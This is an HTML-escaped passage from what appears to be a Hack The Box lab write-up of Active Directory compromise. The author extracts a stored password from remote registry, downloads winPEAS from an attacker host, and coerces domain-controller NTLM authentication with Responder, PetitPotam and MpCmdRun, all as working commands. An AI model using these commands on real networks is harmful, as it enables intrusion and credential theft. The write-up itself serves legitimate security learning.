rel="noopener"&#10; &gt;https://blog.csdn.net/youyudexiaowangzi/article/details/123707258&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This blog gave me the answer.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0599.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Only HKLM and HKU could be queried. I had just tried HKLM without success.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0600.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;HKU did contain data. Some keys were accessible and others weren&amp;rsquo;t. I searched for information disclosure through HKU, because there were far too many keys to query manually, and each query was painfully slow.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0601.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The only accessible SIDs were S-1-5-18, S-1-5-21-2993095098-2100462451-206186470-1105, and S-1-5-21-2993095098-2100462451-206186470-1105_Classes.&lt;/p&gt;&#10;&lt;p&gt;That meant checking them one by one. Besides those SIDs, &lt;code&gt;.DEFAULT&lt;/code&gt; was also readable. I used the &lt;code&gt;-s&lt;/code&gt; flag here so I could access the node and recursively enumerate all of its keys.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg.py htb.local/henry.vinson@htb.local -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local query -keyName HKU\\ -s&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0602.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;\S-1-5-21-2993095098-2100462451-206186470-1105\Software\GiganticHostingManagementSystem\&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;UserName&#9;REG_SZ&#9; henry.vinson_adm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;PassWord&#9;REG_SZ&#9; G1#Ny5@2dvht&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0603.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem—I logged straight in.&lt;/p&gt;&#10;&lt;p&gt;whoami and systeminfo didn&amp;rsquo;t reveal anything useful.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/winPEASany.exe -OutFile .\winPEASany.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I uploaded it to inspect the system.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0604.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Reading from top to bottom, everything highlighted in red was worth investigating. I checked the history.&lt;/p&gt;&#10;&lt;p&gt;This is what it contained:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$Cred = get-credential administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;invoke-command -credential $Cred -computername localhost -scriptblock {Set-ItemProperty -Path &amp;#34;HKLM:\SYSTEM\CurrentControlSet\Control\Lsa&amp;#34; lmcompatibilitylevel -Type DWORD -Value 2 -Force}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;These days, whenever I encounter a PowerShell script, I search for what every function does.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This command obtains a credential object and stores it in a variable. It prompts for a username and password.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# After input, the cmdlet creates a PSCredential object representing the user credentials and stores it in $c.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The password was not captured because the prompt is interactive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;get-credential&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run the command with specified credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;invoke-command -credential $Cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Specify the computer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-computername&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# After specifying the computer, the command can run on the target; the script block itself executes locally there&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-scriptblock&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create the registry value and assign its initial value&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ItemProperty -Path &amp;#34;HKLM:\SYSTEM\CurrentControlSet\Control\Lsa&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The documented default for LmCompatibilityLevel is described below&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# By default, LM and NTLMv1 are not disabled, so value 3 accepts LM and NTLMv1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# and uses NTLMv2 if the server supports it.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lmcompatibilitylevel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# For the Type parameter, I only found RegistryValueKind documentation; it describes DWORD as a 32-bit unsigned integer type&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-Type DWORD&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Value assigns data to a name; no name is shown here, but this effectively sets LmCompatibilityLevel to 2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-Value 2 -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The search results above only explained values 3, 4, and 5, not 2, but I eventually found it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The final link below provided the answer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;It uses NTLMv1 authentication by default while accepting both LM and NTLM authentication&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0605.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Here are the posts I referenced. The parameters are documented there as well.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-credential?view=powershell-7.4" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-credential?view=powershell-7.4&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.4" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.4&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-itemproperty?view=powershell-7.4" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-itemproperty?view=powershell-7.4&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/answers/questions/1189745/what-is-the-default-lmcompatibilitylevel-for-windo" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/answers/questions/1189745/what-is-the-default-lmcompatibilitylevel-for-windo&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I understood what the command did, but I didn&amp;rsquo;t know how to exploit it—or perhaps there was no vulnerability here at all. Still, it gave me a lead, so I searched further.&lt;/p&gt;&#10;&lt;p&gt;While looking into NTLMv1 abuse, I found this page:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/cn/windows-hardening/ntlm" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/cn/windows-hardening/ntlm&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It also explained how to configure &lt;code&gt;lmcompatibilitylevel&lt;/code&gt; under Lsa.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0606.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0607.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It included exploitation ideas too, though not a concrete procedure. I felt this was an NTLM relay attack, which I had studied before. If the domain controller had printing enabled and the Spooler service was running, I could try the method I&amp;rsquo;d recorded. If that failed, I would keep searching—specifically for NTLMv1 attacks.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0608.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Apparently that wasn&amp;rsquo;t it. Perhaps this wasn&amp;rsquo;t an NTLM relay after all. When I tried Get-Service Spooler, it was inaccessible, maybe because I lacked permission or because the service wasn&amp;rsquo;t enabled. When I tried printerbug, it couldn&amp;rsquo;t resolve the domain name I supplied either.&lt;/p&gt;&#10;&lt;p&gt;I continued investigating the NTLMv1 attack described above.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/NTLM%E4%B8%AD%E7%BB%A7%E5%92%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/%E6%8D%95%E8%8E%B7%E5%92%8C%E7%A0%B4%E8%A7%A3Net-NTLMv1%E5%92%8CNTLMv1%E5%93%88%E5%B8%8C.md" target="_blank" rel="noopener"&#10; &gt;https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/NTLM%E4%B8%AD%E7%BB%A7%E5%92%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/%E6%8D%95%E8%8E%B7%E5%92%8C%E7%A0%B4%E8%A7%A3Net-NTLMv1%E5%92%8CNTLMv1%E5%93%88%E5%B8%8C.md&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-Net-NTLMv1%E4%BB%8B%E7%BB%8D" target="_blank" rel="noopener"&#10; &gt;https://3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-Net-NTLMv1%E4%BB%8B%E7%BB%8D&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I read these two posts side by side.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Edit /etc/responder/Responder.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HTTPS = On&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DNS = On&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LDAP = On&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;; Custom challenge.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;; Use &amp;#34;Random&amp;#34; for generating a random challenge for each requests (Default)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Challenge = 1122334455667788&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Then run&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;responder -I eth0 --lm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Two methods are described: one without authentication and one with authentication&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt;PetitPotam.exe Responder-IP DC-IP # Patched around August 2021&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt;PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP # Not patched for authenticated users&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;When I opened the tool&amp;rsquo;s page and saw a hippo, it suddenly looked very familiar. Apparently I had studied it before.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0609.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I really had documented it, right below the printer authentication technique I&amp;rsquo;d just tried.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0610.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The printer service wasn&amp;rsquo;t enabled, but these two services definitely were. The prerequisites were satisfied and the version matched. The only difference was that whenever I&amp;rsquo;d studied relaying before, I had used ntlmrelayx, while the last few lab tutorials had all used responder.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python PetitPotam.py -u henry.vinson_adm -p G1#Ny5@2dvht -d htb.local -dc-ip htb.local 10.10.16.14 htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0611.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Triggering authentication failed. No problem—I could upload it to the target and use this method instead.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PetitPotam.exe Responder-IP DC-IP&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That failed too.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0612.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After all my searching, I couldn&amp;rsquo;t find any other way to make the domain controller initiate authentication. It was time to check the writeups again. I found only three writeups for this machine. My goal was to understand how each person approached it and expand my own thinking, but all three chose MpCmdRun.exe here.&lt;/p&gt;&#10;&lt;p&gt;This is an antivirus tool. The writeups started an smbserver and made MpCmdRun.exe scan a remote file. The remote scan required authentication, which let them capture it. This seemed like a standard technique, so I added it to my notes.&lt;/p&gt;&#10;&lt;p&gt;I used dir and found many copies of MpCmdRun.exe. Any one of them would do.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.16.14\file.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;At this point my brain stopped working. I admit I&amp;rsquo;d spent more than a day on this machine. You can&amp;rsquo;t just skim over new material when you&amp;rsquo;re trying to learn it, so I&amp;rsquo;d been thinking hard and trying to memorize everything. I was getting a little dizzy. In fact, the technique I had tried earlier did work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0613.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had selected the wrong network interface. After switching to the correct one, I used the same exploit again.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python PetitPotam.py -u henry.vinson_adm -p G1#Ny5@2dvht -d htb.local -dc-ip htb.local 10.10.16.14 htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0614.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now I had a result. NTLM relay worked fine. The printer technique didn&amp;rsquo;t, because none of its required services were enabled. The antivirus technique worked too.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\MpCmdRun.exe -Scan -ScanType 3 -File 